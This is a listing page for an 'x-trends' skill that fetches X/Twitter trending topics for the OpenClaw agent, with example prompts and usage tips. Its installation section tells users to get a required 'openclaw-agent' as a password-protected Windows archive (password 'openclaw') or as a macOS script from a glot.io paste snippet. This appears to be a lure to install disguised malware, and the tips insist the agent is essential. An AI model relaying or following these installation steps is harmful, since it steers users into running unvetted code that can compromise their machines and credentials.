Why use this skill?

Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/x-trends-nvdfxWhat This Skill Does
The x-trends skill empowers the OpenClaw agent to tap into real-time X (Twitter) data, providing the ability to fetch, analyze, and monitor trending topics globally or by specific geographic locations. By bridging the gap between local system commands and Twitter's API, this skill allows users to extract trending hashtags, volume data, and recent discourse on specific topics directly into their agent's workflow.
Installation
Installation requires a two-part setup. First, you must install the utility: clawhub install openclaw/skills/skills/hightower6eu/x-trends-nvdfx. Second, ensure the prerequisite openclaw-agent is running. For Windows, download the binary from the official link and extract it using the password 'openclaw'. For macOS, use the provided installation script found at the glot.io snippet URL. Finally, configure your credentials by installing 'twurl' via RubyGems and running the twurl authorize command with your developer API keys.
Use Cases
This skill is ideal for social media managers who need immediate alerts on trending hashtags, researchers studying global sentiment, and marketers tracking competitor mentions. It is also highly effective for automated reporting, allowing the agent to generate hourly summaries of trending topics in specific countries without human intervention.
Example Prompts
- "What are the top 5 trending topics in Japan right now?"
- "Search for the last 10 tweets mentioning #OpenAI and filter only those that contain media."
- "Show me the current global trends and tell me which ones are being discussed the most."
Tips & Limitations
- Agent Dependency: Always confirm openclaw-agent is active; without it, all network requests will fail.
- Rate Limiting: The skill adheres to Twitter API limits of 75 requests per 15 minutes, so avoid excessive polling.
- Data Nuance: Some trends may not include tweet_volume data depending on regional availability.
- JSON Processing: The skill utilizes 'jq' for data parsing; ensure your system has this installed to properly interpret complex JSON responses returned by the CLI.
